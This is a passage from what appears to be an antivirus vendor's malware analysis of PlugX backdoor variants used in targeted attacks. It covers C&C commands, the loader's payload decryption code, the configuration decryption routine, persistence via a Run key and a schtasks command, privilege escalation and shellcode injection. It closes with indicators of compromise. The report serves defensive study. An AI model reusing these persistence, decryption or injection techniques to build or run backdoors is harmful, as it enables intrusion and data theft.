<td>------------------------------------------------------------------------</td>
</tr>
<tr>
<td>0x4200</td>
<td>Sends a pre-taken screenshot in JPEG format from the config.screenshots_path directory. First it sends its name, then it sends the screenshot itself as blocks by 0xE000 bytes. Then sends a zero-length packet</td>
<td>-</td>
<td>-</td>
</tr>
</tbody>
</table>

**Service Plug-in**

The plug-in is designed to operate with system services.

<table>
<thead>
<tr>
<th>Command_id</th>
<th>Description</th>
<th>Input</th>
<th>Output</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x6000</td>
<td>Receives information about services and their files</td>
<td>-</td>
<td>struct command_6000_h_response</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>{</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>packet_hdr header;</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>DWORD if_sfc_protected;</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>DWORD current_state;</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>DWORD start_type;</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>DWORD controls_accepted;</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>DWORD pid;</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>WORD offset_service_name;</td>
</tr>
<tr>
<td>Command_id</td>
<td>Description</td>
<td>Input</td>
<td>Output</td>
</tr>
<tr>
<td>------------</td>
<td>-------------</td>
<td>-------</td>
<td>--------</td>
</tr>
<tr>
<td>0x6001</td>
<td>Alternates the launch method of the specified service</td>
<td>-</td>
<td>WORD offset_display_name; WORD offset_service_start_name; WORD offset_description; WORD offset_binpath; WORD offset_Company_Name; WORD offset_FileDescription; WORD offset_FileVersion; WORD offset_Product_Name; WORD offset_Product_Version; ... //strings</td>
</tr>
<tr>
<td>0x6002</td>
<td>Runs the specified service; its name is contained in the command body</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>0x6003</td>
<td>Sends the control code to the specified service.</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Command_id</td>
<td>Description</td>
<td>Input</td>
<td>Output</td>
</tr>
<tr>
<td>------------</td>
<td>------------------------------------------------------------------------------</td>
<td>-------</td>
<td>--------</td>
</tr>
<tr>
<td></td>
<td>The name is contained in the body; the control code is contained in the header.errc field</td>
<td></td>
<td></td>
</tr>
<tr>
<td>0x6004</td>
<td>Deletes the service specified in the command body</td>
<td>-</td>
<td>-</td>
</tr>
</tbody>
</table>

**Shell plug-in**

The plug-in is designed to create a shell for the cmd.exe; plug-in command ID — command_id — 0x7002. It creates pipes for reading and writing in two separate threads, then creates a cmd.exe process and redirects I/O to pipes. The trojan receives input from the connection object to the C&C server and sends an output in response.

**SQL Plug-in**

The plug-in is designed to operate with SQL queries.

<table>
<thead>
<tr>
<th>Command_id</th>
<th>Description</th>
<th>Input</th>
<th>Output</th>
</tr>
</thead>
<tbody>
<tr>
<td>0xC000</td>
<td>Retrieves available SQL data sources by the odbc32!SQLDataSourcesW function</td>
<td>-</td>
<td>struct command_C000h_response</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>{</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>packet_hdr</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>header;</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>BYTE server_name[4096];</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>BYTE descriptions[];</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>}</td>
</tr>
<tr>
<td>0xC001</td>
<td>Lists available SQL drivers by the odbc32!SQLDriversW function</td>
<td>-</td>
<td>struct command_C001h_response</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>{</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>packet_0_hdr</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>header;</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>BYTE driver_description[4096];</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>BYTE driver_attributes[];</td>
</tr>
<tr>
<td>Command_id</td>
<td>Description</td>
<td>Input</td>
<td>Output</td>
</tr>
<tr>
<td>------------</td>
<td>-----------------------------------------------------------------------------</td>
<td>-------</td>
<td>--------</td>
</tr>
<tr>
<td>0xC002</td>
<td>Executes an arbitrary SQL query. The body of the first packet contains the connection string that is used as an argument when calling the <code>odbc32!SQLDriverConnect</code> function. Next, packets with <code>header.command_id</code> equal to 0xC003 contain the requests. In response, diagnostic data obtained by calling the <code>SQLGetDiagRecW</code> function is sent in packets with <code>header.command_id</code> equal to 0xC008; the results of the SQL query are sent in packets with <code>header.command_id</code> equal to 0xC004</td>
<td>-</td>
<td>-</td>
</tr>
</tbody>
</table>

**Telnet Plug-in**

The plug-in is designed to fully simulate working over the Telnet Protocol. It starts when the 0x7100 command is received. Upon this command, the "cmd.exe /Q" process is created, a zero-length packet is sent to the server, then 2 handlers run in separate threads. The first one accepts packets with id 0x7101 and 0x7102:

- **0x7101** — opens the console using the CONINS ID and enters the data received from the command. The packet body contains an array of `INPUT_RECORD` structures;
- **0x7102** — sends the ID of the control event (CtrlEvent) to the console opened by the CONINS ID. The event code is located in the `header.errc` field.

The second handle in packets with id 0x7103 sends information about the console:

```c
struct c2_command_7103h_telnet_cli2srv {
    packet_hdr header;
    DWORD console_CP;
};
```
In packets with id 0x7104, the trojan sends the read console buffer.

**BackDoor.PlugX.26**

A loader for BackDoor.PlugX.38 written in C and designed to operate in 32-bit and 64-bit Microsoft Windows operating systems. It is an executable file that loads and decrypts the payload module.

**Operating routine**

The loader is an executable file and its original name is msvsct.exe. Its installation path on the infected system is `C:\ProgramData\AppData\msvsct.exe`. It writes itself to the registry autostart location:

```
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'AUTORUN' = "c:\programdata\appdata\msvsct.exe"
```

The payload is located in msvsct.ini and is decrypted by the following script:

```python
s = ''
for i in range(len(d)):
    s += chr(((ord(d[i]) + 0x77) ^ 0x78) - 0x79) & 0xff
```

After decryption the payload turns into shellcode, which loads the main malicious module as a dynamic link library (detected by Dr.Web as BackDoor.PlugX.38).

**BackDoor.PlugX.38**

A multi-module backdoor written in C and designed to operate in 32-bit and 64-bit Microsoft Windows operating systems. Once installed by the BackDoor.PlugX.26 loader, it operates in an infected computer's RAM. It is used in targeted attacks on information systems for gaining unauthorized access to data and transferring it to C&C servers. The operating routine and algorithms are similar to those of BackDoor.PlugX.28. Similar structures are used for storing and processing data, including an identical object for storing strings.
Operating routine

All WinAPI functions are called dynamically using the CRC32 algorithm, and the checksum is calculated over the entire function name, including the trailing \x00.

Similar to BackDoor.PlugX.28, this modification does not have uniform conventions for user function calls. Simple string encryption is applied. It is not implemented in a separate function but embedded in it.
Threads are not created directly, but via the global `threads_container` object, which stores a list of running threads with information about each of them. Each thread has its own hardcoded name that are encrypted in some cases.

Assumed `threads_container` structure:

```c
struct threads_info {
    LIST_ENTRY p_threads_list;
    DWORD threads_count;
};
struct threads_container {
    CRITICAL_SECTION crit_sect;
    threads_info threads;
};
struct thread_obj {
    LIST_ENTRY p_threads;
    DWORD thread_ID;
    threads_container *p_threads_container;
    DWORD (__stdcall *p_function)(LPVOID arg);
    LPVOID arg;
    BYTE *name;
};
```

Start of operation

After receiving control from the loader, BackDoor.PlugX.38 initializes a number of global objects that are used in further operations. Then it sets its `SetUnhandledExceptionFilter` exception handler. For an unhandled exception, the function finds the ID of the thread that caused this exception in `threads_container` and generates the string:

```
EName:%s,EAddr:0x%p,ECode:0x%p,EAX:%p,EBX:%p,ECX:%p,EDX:%p,ESI:%p,EDI:%p,EBP:%p,ESP:%p,EIP:%p;
```
where EName is the thread name. The remaining parameters are taken from the EXCEPTION_POINTERS structure. The string is generated in a local variable and is not used in further operations. The handler then terminates this thread.

After preparation procedures, the trojan gets the SeDebugPrivilege and SeTcbPrivilege privileges, then initializes the main thread with the bootProc name, which is stored in open format.

First, bootProc calls FreeLibrary on a module named msvsct.txt. Then the configuration is initialized.

**Configuration from the loader**

To determine the configuration type, the loader passes the argument to the pointer used by BackDoor.PlugX.38 to check the first 4 bytes. If the first bytes of the argument are the magic number, it means the loader passed the shellarg structure. The magic number has the value 0x504c5547, which corresponds to the PLUG value in the ASCII encoding.

The shellarg structure is represented as follows:

```
struct shellarg
{
    DWORD signature;
    DWORD dword_0;
    DWORD dword_1;
    DWORD p_shellcode;
    DWORD shellcode_size;
    DWORD config;
    DWORD config_size;
};
```

In this case, the configuration from the argument is decrypted and stored in the global variable of the trojan program. Then the path to the backdoor's working directory is extracted from the received configuration. The trojan attempts to read boot.cfg from this
directory, which can also store the configuration (for example, passed from the C&C server). If the file exists, the program reads the configuration from it, decrypts it, and applies it.

Configuration encryption algorithm:

```python
import struct

def DWORD(i):
    return i & 0xFFFFFFFF

def LOBYTE(i):
    return i & 0x000000FF

def dec(key, in_data):
    k1 = k2 = k3 = k4 = key
    result = ""
    for x in in_data:
        k1 = DWORD(k1 + (k1 >> 3) - 0x11111111)
        k2 = DWORD(k2 + (k2 >> 5) - 0x22222222)
        k3 = DWORD(k3 + 0x33333333 - (k3 << 7))
        k4 = DWORD(k4 + (0x44444444 - (k4 << 9)))
        k = LOBYTE(k1 + k2 + k3 + k4)
        result += chr(ord(x) ^ k)
    return result

def decrypt(addr, size):
    data = get_bytes(addr, size, 0)
    key = struct.unpack("<I", data[:4])[0]
    result = dec(key, data)
    return result
```

Hardcoded configuration

The hardcoded configuration is decrypted if the argument received from the loader does not have the PLUG magic value.

Structure of the configuration:

```c
struct timeout
{
    BYTE days;
    BYTE hours;
    BYTE minutes;
    BYTE seconds;
};
struct srv
{
    WCHAR type;
    WCHAR port;
    BYTE address[64];
};
struct proxy_info
{
    WCHAR type;
    WCHAR port;
```
After initializing the configuration, the trojan checks the command line arguments. If there is one argument, the program uses a standard script for achieving persistence and performing basic functions; if the command line contains three arguments, the program performs one of the functions, depending on their values.

**Operating with a single command line argument**

The persistence option depends on the `config.persist_mode` value:

- 0 — does not achieve persistence, goes directly to the main functionality;
• 1 — autorun by HKCU\Software\Microsoft\Windows\CurrentVersion\Run;
• 2 — creates tasks in Task Scheduler;
• 3 — sets services (if there are no administrative privileges, it is equivalent to 1 mode).

If executed without achieving persistence, the trojan checks the config.inject_flag flag. If the value is not equal to 0, the argument passed from the loader is checked. If the argument contains the PLUG value, the process specified in config.inject_target_proc is started. The shellcode from the shellarg structure is injected into this process and the main process is terminated.

In case of execution with persistence, the trojan checks the current directory. If it matches the trojan's working directory config.homedir, the persistence stage is skipped and either the process injection or the main functionality is performed. Otherwise, 2 mutexes are created with the Global\DelSelf(XXXXXXXX) and Global\DelSelf(YYYYYYYYY) names, where XXXXXXXX and YYYYYYY are IDs of the current and parent processes in the HEX view, respectively. In all persistence modes, the trojan moves its files to the working directory.

The persistence provides an option when the config.persist_mode parameter can take the 0 value. This is necessary if the process is started with 3 arguments and the second argument equals 100. In such conditions, after transferring its files, BackDoor.PlugX.38 is restarted from its working directory.

In the persistence option with the value config.persist_mode == 1, the autorun key creates a parameter with the name specified in the config.persist_name configuration. After that, the trojan launches itself from the working directory.

If the persistence option is set to config.persist_mode == 2, a task is created in the scheduler by calling schtasks:

```
cmd.exe /c schtasks /create /sc minute /mo 2 /tn "<config.persist_name>" /tr "\"<config.homedir\msvsct.exe>\"
```

If administrative privileges are obtained, the trojan adds the /ru "system" parameter. After creating the task, the trojan terminates the process.

If the persistence option is set to config.persist_mode == 3, a service is set. The trojan checks for a service named config.persist_name and, if it exists and stopped, deletes it. If the service is running, the service creation step is skipped. Otherwise, the trojan creates the config.persist_name service with the config.service_display_name display name. If the config.flag_dont_start_service value is not equal to 0, the service does not start. After creating the service, the trojan terminates the process.

When performing the main functionality, the trojan creates the Global\ReStart0 mutex. Then by a mutex named Global\DelSelf(YYYYYYYYY), the program searches for the parent process. After the search the process is terminated, the process' binary is deleted (provided the config.flag_delete_proc_bins flag is set). Next, the trojan checks the
value of the `config.flag_elevated_inject` flag. If the value is not equal to 0, the named thread `SiProc` is started.

In this thread, the malware also checks the argument passed by the loader. Further execution of the `SiProc` thread continues only if the `PLUG` value is present. The thread iterates through the processes and attempts to get the session ID based on the PID value of each process. If successful, it copies the process access token and assigns the `(S-1-16-12288)` `HighIntegrity` class to its duplicate. Then, using this marker, it creates the `msiexec.exe 209 <currentPID>` process, which injects shellcode with a payload. The thread receives a pointer to the `elevated_injects` structure as an argument:

```c
struct injected_proc
{
    DWORD session_id;
    DWORD pid;
    DWORD hProcess;
    BYTE token_user_name[40];
};
struct elevated_injects
{
    injected_proc procs[32];
    DWORD hThread;
    DWORD hEvent;
};
```

Each time the shellcode is successfully injected, the `elevated_injects.procs` array is filled in.

After this, the plug-in container object and the plug-ins themselves are initialized. Then an array of auxiliary functions used by the plug-ins is initialized. These functions are accessed via the named display of the `PI[8.8 X]` object, where the format parameter is the ID of the current process.
Then each plug-in is sequentially initialized, resulting in an individual object `plugin_object` creation:

```c
struct plugin_object
{
    DWORD dword_1;
    DWORD init_flag;
    DWORD index;
    DWORD datestamp;
    DWORD (__stdcall *p_job_func)(LPVOID p_conn_object, packet *p_packet);
    BYTE name[32];
};
```

The plug-in names correspond to those of BackDoor.PlugX.28, with the exception of the absence of the DISK second plug-in. The values placed in `plugin_object. datestamp` differ for each plug-in:
<table>
<thead>
<tr>
<th>Plug-in name</th>
<th>Datestamp value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Disk</td>
<td>20120325h</td>
</tr>
<tr>
<td>KeyLog</td>
<td>20120324h</td>
</tr>
<tr>
<td>Nethood</td>
<td>20120213h</td>
</tr>
<tr>
<td>Netstat</td>
<td>20120215h</td>
</tr>
<tr>
<td>Option</td>
<td>20120128h</td>
</tr>
<tr>
<td>PortMap</td>
<td>20120325h</td>
</tr>
<tr>
<td>Process</td>
<td>20120204h</td>
</tr>
<tr>
<td>RegEdit</td>
<td>20120315h</td>
</tr>
<tr>
<td>Screen</td>
<td>20120220h</td>
</tr>
<tr>
<td>Service</td>
<td>20120117h</td>
</tr>
<tr>
<td>Shell</td>
<td>20120305h</td>
</tr>
<tr>
<td>SQL</td>
<td>20120323h</td>
</tr>
<tr>
<td>Telnet</td>
<td>20120225h</td>
</tr>
</tbody>
</table>

Similar to BackDoor.PlugX.28, the initialization of the KeyLog and Screen plug-ins differ from the others. When initializing KeyLog, a named stream KLProc is created, in which the trojan intercepts keyboard events via the RegisterRawInputDevices and GetRawInputData functions. The event log is contained in the <config.homedir>\NvSmart.hlp file. When initializing the Screen plug-in, 16 cursors are sequentially loaded in addition to creating an object.
After initializing all plug-ins, the named thread PlugProc is started. The stream attempts to sequentially read files with the .plg extension from the working directory, whose names can take values from 0 to 127. A compressed and encrypted PE module can be read from each of the files. If the argument from the loader contains the PLUG value, after reading the file, the next named thread LdrLoadShellcode is initialized. It decrypts and unpacks the module, and then loads it, passing it the shellarg structure with the PLUG value as an argument. It should be noted that the ldrloadshellcode procedure is used when injecting in processes from the configuration and in the msiexec process by copying to the target process.

After working with plug-ins, the OlProc thread is started, which communicates with the C&C server. In addition, several other threads are started from OlProc. The trojan preliminarily attempts to extract the CLSID parameter from the Software\CLASSES\MPLS\ registry key. The extraction is performed from the HKLM section, or in case of failure, from the HKCU section. If the specified parameter is absent, the trojan creates it, generates a random value of 8 bytes, formats it as %2.2X%2.2X%2.2X%2.2X%2.2X%2.2X%2.2X%2.2X, and enters this value into the created parameter. Similar to BackDoor.PluginX.28, inside OlProc the malware attempts to hide the service in the services.exe process (provided the config.flag_hide_service flag is set). Then the OlProcNotify thread is started, and the configuration is initialized again.

After that, a cycle of connections to the server starts. It is possible to load the address of a new C&C server if there have already been attempts to connect to 4 servers. There are URLs of the form config.url_<n> provided for this purpose. An HTTP request is made at the
specified URL, and the response is an encoded server address located between the DZKS and DZJS strings. Servers can be resolved using queries to DNS servers specified in the configuration file.

The first connection attempt is performed without a proxy. Before doing this, the trojan checks the value of the config.timetable parameter, which is responsible for the connection schedule (the byte flag is set for every quarter of an hour). Then it checks the type of server to connect to. The srv structure is similar to that of BackDoor.PlugX.28:

```c
struct srv {
    WORD type;
    WORD port;
    BYTE address[64];
};
```

In this case, the BackDoor.PlugX.38 type field, which defines the connection Protocol, is a bit field:

- 1 — TCP,
- 2 — HTTP,
- 4 — UDP,
- 8 — ICMP,
- 16 — HTTPS.

In the analyzed sample, the ICMP Protocol is not supported, but the value is provided (a stub is set when creating the connection object). When using the HTTPS Protocol, the trojan utilizes a connection to an HTTP proxy server via a socket:

```assembly
1000FE4 mov [ebp+chosen_proto_name], offset asterisk ; "s"
1000FFFC mov [ebp+proto_TCP], 'PCT'
1000FFFA mov dword ptr [ebp+proto_HTTP], 'PTTH'
1000FFFD mov [ebp+proto_UDP], 'PDU'
1000FFFA mov dword ptr [ebp+proto_ICMP], 'PMCI'
1000FFFC mov [ebp+proto_HTTPS], 'PTTH'
1000FFFD mov word ptr [ebp+proto_HTTPS+4], 'S'
10000001 cmp esi, 0EH
1000001F j a short def_10000028 ; Protocol:[%4s], Host: [%s:%d], Proxy: [%d:%s:%d:%s:%s]
```

When creating a connection object, a connection string is generated that is not used in the analyzed sample:

```
Protocol:[%4s], Host: [%s:%d], Proxy: [%d:%s:%d:%s:%s]
```

A packet structure similar to BackDoor.PlugX.28 is used to communicate with the server:

```c
struct packet_hdr {
```
DWORD key;
DWORD command_id;
DWORD len;
DWORD errc;
);
}
struct packet
{
    packet_hdr header;
    BYTE data[61440] //0xF000;
};

For initial access, similar to BackDoor.PlugX.28, the trojan generates from 0 to 0x1F random bytes, which are sent to the server. A packet with the command is a response for the request.

When using an HTTP connection, there are differences from BackDoor.PlugX.28 in the request generation mechanism.

A SxWorkProc named thread is created. First, the User-Agent string is formed in parts:

1. Hardcoded Mozilla/4.0 (compatible; MSIE string);
2. The value of the HKLM\SOFTWARE\Microsoft\Internet Explorer\Version Vector\IE parameter or hardcoded 8.0;
3. Windows NT X.Y, where X. Y is the Windows version;
4. Parameter values from the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent\Post Platform,
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform keys, as well as similar values from the HKCU section, are combined via ;;
5. Closing bracket ).

The specified parts are combined into a single string that serves as the User-Agent.

The resource string is formed as /index?id=%7.P, where the parameter is the address of the local variable. The method is selected depending on the value of config.HTTP_method:

- 0 — GET;
- 1 — POST;
- 2 — random choice between GET and POST.

Then M-headers are added, which are necessary for the HTTP connection to work and sync (similar to the prefix structure in BackDoor.PlugX.28).

- M-Session:
- M-Status:
- M-Size:
- M-Sn:
Data is transmitted in the request body. Packets are encrypted using the same algorithm used for the encryption configuration. When preparing a packet for encryption, the `packet.header.key` field contains the `20161127h` value, but later it is replaced with a random key. When encrypting and compressing both transmitted and received data, the following options can be used:

- If in the `packet_hdr.command_id` field the bit is set to `0x10000000`, a packet is not compressed (for example, the closing packet after sending a file);
- If the bit is set to `0x20000000` in the same field, the packet is not encrypted.

The field of the `len` header specifies the length of the compressed and uncompressed data (2 low-order bytes for compressed length, 2 high-order bytes for uncompressed length).

When using a TCP connection, data is transmitted without any headers.

The general commands are similar to those of BackDoor.PlugX.28:

<table>
<thead>
<tr>
<th>Command</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Sending system information</td>
</tr>
<tr>
<td>2</td>
<td>Re-requesting the command</td>
</tr>
<tr>
<td>3</td>
<td>Operating with plug-ins</td>
</tr>
<tr>
<td>4</td>
<td>Connection reset</td>
</tr>
<tr>
<td>5</td>
<td>Self-deleting</td>
</tr>
<tr>
<td>6</td>
<td>Sending current configuration to the C&amp;C server</td>
</tr>
<tr>
<td>7</td>
<td>Receiving new configuration.</td>
</tr>
<tr>
<td>8</td>
<td>Sending information about processes with injections (msiexec.exe)</td>
</tr>
<tr>
<td>9</td>
<td>Sending the results of LAN scanning.</td>
</tr>
<tr>
<td>10</td>
<td>(see below)</td>
</tr>
</tbody>
</table>

Operating with plug-ins (command 3) is performed in a separate `OlProcManager` thread and implemented the same way as in BackDoor.PlugX.28.

When a new configuration is received, it is saved as `<config.homedir>\boot.cfg` and applied immediately. After that, the trojan receives information about proxy servers from all available sources:
- All proxy server parameters separated by: —<type: port:address: ID: password> are extracted from the HKLM\Software\CLASSES\MPLS\PROXY registry key;
- Proxy system data is extracted from the HKU\Software\Microsoft\Windows\CurrentVersion\Internet Settings registry key;
- The AutoConfigURL parameter retrieves the address used to call the UrlDownloadToFileA function. Then using InternetGetProxyInfo WinAPI from jsproxy.dll the trojan makes a request to appengine[.]google.com, which results in obtaining proxy server data;
- Proxy data is extracted from the Mozilla configuration file: .default\prefs.js.

All received data is saved in the internal object and used for connection. SOCKS4, SOCKS5, and HTTP proxy protocols can be used to establish a connection.

After OlProcNotify, a new thread JoProc is initialized in the same OlProc, which then initializes 3 threads sequentially:

```
JoProcListen
JoProcBroadcast
JoProcBroadcastRecv
```

JoProcListen starts the JoProcAccept thread, which creates a UDP connection object and also connects to the C&C server. It is assumed that this thread should have asynchronous forwarding between the UDP connection and the connection to the C&C server but the created UDP connection object is non-working. When created, it does not connect to any host, and the conditional methods that should transmit and receive data represent stubs that return the 0 value.

The same applies to the JoProcBroadcast and JoProcBroadcastRecv functions. JoProcBroadcast iterates through the available network adapters, retrieves their IP addresses, subnet masks, and gateway addresses, then creates a real TCP connection object and exits. JoProcBroadcastRecv also has no functionality.

It should be noted that the above operations are performed only if the config.broadcasting flag is set. The 9, 10 commands of the C&C server are also designed to work with network scanning, but there is no useful functionality in them. When the 10 command is received, the config.broadcasting flag is checked and then the command execution stops.
### Executing with 3 command line arguments

<table>
<thead>
<tr>
<th>Second command line argument</th>
<th>Value</th>
<th>Conditions for getting an argument</th>
</tr>
</thead>
<tbody>
<tr>
<td>100</td>
<td>Installation to the system according to <code>config.persist_mode</code>, bypassing the injection in processes</td>
<td>-</td>
</tr>
<tr>
<td>200</td>
<td>Injection into the <code>config.inject_target_proc</code> process</td>
<td>-</td>
</tr>
<tr>
<td>201</td>
<td>Main functionality</td>
<td>Passed to the <code>config.inject_target_proc</code> process at startup and injection</td>
</tr>
<tr>
<td>202</td>
<td>Main functionality without achieving persistence</td>
<td>-</td>
</tr>
<tr>
<td>209</td>
<td>Operating with plug-ins</td>
<td>Transmitted to <code>msiexec.exe</code> in the case of</td>
</tr>
</tbody>
</table>
When running with the 209 argument, argv[2] is also counted, which is the ID of the trojan’s parent process that launched msiexec.exe with injection. In this case, the `\PIPE\RUN_AS_USER(%d)` pipe is created, where the format parameter is the PID of the current process. Next, the `DoImpUserProc` thread is initialized, in which the trojan operates with plug-ins. The trojan receives commands for plug-ins from the pipe, and the results are sent to the main process in the pipe.

**Operating with plug-ins**

Execution of plug-in tasks is generally identical to BackDoor.PlugX.28, with the exception of:

- The `Netstat` plug-in, which creates a table of TCP and UDP connections and manages the TCP connection, now counts OS versions with `MajorVersion == 10`;
- The `Nethood` plug-in only contains the `A000h` command, which collects information about network resources. This backdoor modification does not include the `A001h` command, which allowed the disabling of a given network resource.

**Named threads launching order**

`bootProc` is the main function, and the rest of the threads are started from it:

- `SiProc` (injection to msiexec.exe),
- `OlProc`,
- `OlProcNotify` (connecting to the C&C server, working with commands),
- `OlProcManager` (processing tasks for plug-ins in the framework of the current process),
- `JoProc` (network scanning),
- `JoProcListen` (creating a tunnel between a conditional UDP connection and the C&C server),
- `JoProcBroadcast` (network broadcasting),
- `JoProcBroadcastRecv` (processing responses to broadcasted messages),
- `PlugProc` (working with plug-ins during injection),
- `LdrLoadShellcode`,
- `KLProc` (keylogger thread),
- `SxWorkProc` (HTTP connection handler),
- `DoImpUserProc` (working with plug-ins via pipe).
plug-in threads can be launched from OlProcManager and DoImpUserProc, depending on the configuration:

- **RtlMessageBoxProc** (Runs while working with the Option plug-in, used to display MessageBox with the specified parameters);
- **ScreenT1, ScreenT2** (Screen plug-in, threads for RDP emulation);
- **ShellT1, ShellT2** (Shell plug-in, threads for reading and writing cmd pipe);
- **TelnetT1, TelnetT1** (Telnet plug-in, threads for receiving and sending console data).
Conclusion

During the investigation, our specialists discovered several families of trojan programs used in these attacks. Samples and malicious activity analysis showed that the initial infection occurred long before the organization’s employees detected the first signs of malware presence. Unfortunately, this scenario is one of the attributes of successful APT attacks, as malware creators always allocate significant resources to concealing their presence within the compromised system.

The study does not address the primary vector of infection, or the overall picture of infection of the entire infrastructure. We are convinced the trojans described in the study are only part of the malware involved in these attacks. The mechanisms hackers used make it very difficult to detect unauthorized presence and regain control of network objects.

To minimize risks, it is necessary to constantly monitor internal network resources, especially servers that are of high interest to the attackers such as domain controllers, mail servers, and Internet gateways. If the system is compromised, a prompt and appropriate analysis of the situation is necessary to develop adequate counteraction measures. Doctor Web not only creates anti-virus protection software, but also provides an investigation service for virus-related computer incidents, which include targeted attacks. If malicious activity within a corporate network is suspected, the best option is to contact the Doctor Web virus laboratory for qualified help. An early response will help minimize damage and prevent the worst consequences of targeted computer attacks.
Appendix. Indicators of Compromise

**SHA1 hashes**

**Exploit.RTF**

a707de5a277573b8080e2147bd99ec1015cf56c5: doc.rtf

**BackDoor.Apper**

48944207135ffbf0a3edf158e5fe96888a52fada: dropper

23dbe50d3484ba906a2fd4b7944d62fb4da42f95: RasTls.dll

5b041bce8559334dc9e819c72da9ff888d7e39c9: shellcode

**BackDoor.CmdUdp**

314b259739f4660e89221fa2e8990139a84611a9: dnscache.dll

**BackDoor.Logtu**

7797107eb4a9a9e4359413c15999603fa27714b3: logsupport.dll

**BackDoor.Mikroceen**

2930efc03e958479568e7930f269efb1e2bcea5a: nwsapagent.dll

56000aa9a70ff3c546dab3c2a3b19021636b3b9c: nwsapagentttt.dll

e98f3b43ab262f4c4e148e659cc615a0612d755f: srv.dll

**BackDoor.PlugX**

b03c98a9539d4cbb17f2efc118c4b57882b96d93: CLNTCON.ocx

b7eac081c814451791f0cd169d0c6a525a05194d: CLNTCON.ocx

9a2d98321356ad58ea6c8a7796fd576e76237bd1: CLNTCON.ocx

ec548ba0ec9d2452c30e9ef839eb6582a4b685c8: CLNTCON.ocp

7bcb10f1ed9b41abbe468d177cd46991c224315: ESETSr
d52152661c836e76bebd46046ba3f877c5d381d8: http_dll.dll
1ba85de14f85389bf3194acea865f4c819d7b602: QuickHeal
8d5e7d38919a3de73350d444c3989857077f629: QuickHeal
aa0e7101b1663c23f980598ca3d821d7b6ea342d: scansts.dll
84c34167a696533cc7eddb5409739edd9af232ed: msvsct.exe
2c51147b271d691f0ab040f62c821246604d3d81: msvsct.ini
2e2919ce6f643d73ff588bccc7da5d74c611b2c: msvsct.ini
6fc2e76a0d79cc2a78a8d73f63d2fc433ede8bd5: RasTls.dll
e6381d09cdf15973f952430e70547d0b88bb1248: decrypted
f6bf976a2fdef5a5a44c60cbfb0c8fcbd0ba02: decrypted

**BackDoor.Whitebird**

e70a5ce00b3920d83810496eab6b0d028c5f746e: oci.dll
c47883f01e51a371815fc86f2adbf16ff5cb8a: RasTls.dll
6fc2e76a0d79cc2a78a8d73f63d2fc433ede8bd5: RasTls.dll

**BackDoor.Zhengxianma**

cce4ba074aa690fc0e188c34f3aff402602921a: RasTls.dll

**Trojan.Mirage**

34085c6d935c4df7ce7f80297b0c14a8d3b436d8: cmdl32.dat
f5fe30ee6e2de828c7a6eeccbb7f874dc35d31f43: config.dat
c4ef5981bee97c78d29fb245d84146a5db710782: rapi.dll
d4558761c52027bf52a9829bb44fe12920381d: server.dll

**Trojan.Misics**

c90ade97ec16937aedec45fd643424889d298: MISICS.dll
5b8f28a5986612a41a34cb627864db80b8c4b097: MISICS.dll.crt
**Trojan.XPath**

3e1d66ea09b7c4dbe3c6ffe58262713806564c17: svchost.exe
b6fba9877ad79ce864d75b91677156a33a59399e: yyyyyyygoogle.sys
8cc16ad99b40ff76ae68d7b3284568521e6413d9: yyyyyyygoogle.sys
5c21ce425ff906920955e13a438f64f578635c8f: yyyyyyygoogle.sys
e4e365cc14eeeba5921d385b991e22dea48a1d75: PayloadDll.dll
b07568ef80462faac7da92f4556d5b50591ca28d: PayloadDll.dll
fc4844a6f9b5c76abc1ec50b93597c5cfde46075: xPath.dll
2bf5cfe30265a99c13f5dadad7dd17ccb9db272e0: xPath64.dll

**Tool.Proxy**

a1c6958372cd229b8a75a09bdf87d2959bb6053: cryptsocket.exe
30debaf4ec160c00958470d9b295247c86595067: vmwared.exe

**Tool.Scanner**

05a2b543b5a3a941c7ad9e6bffe2a101dc2222cb2: m17.exe

**Tool.WmiExec**

8675e4c54a35b64e6fee3d8d7ad500f618e1aac9: wmi.vbs

**Domains**

tv[.]teldcomtv[.]com
dns03[.]cainformations[.]com
www[.]sultris[.]com
kkkfaster[.]jumpingcrab[.]com
www[.]pneword[.]net
v[.]nnncity[.]xyz
nicodonald[.]accesscam[.]org

**IPs**

45.32.184[.]101
45.63.114[.]127
45.77.234[.]118
45.251.241[.]26
46.105.227[.]110
46.166.129[.]241
103.93.76[.]27
104.194.215[.]199
114.116.8[.]198
116.206.94[.]68
137.175.79[.]212
142.252.249[.]25
202.74.232[.]2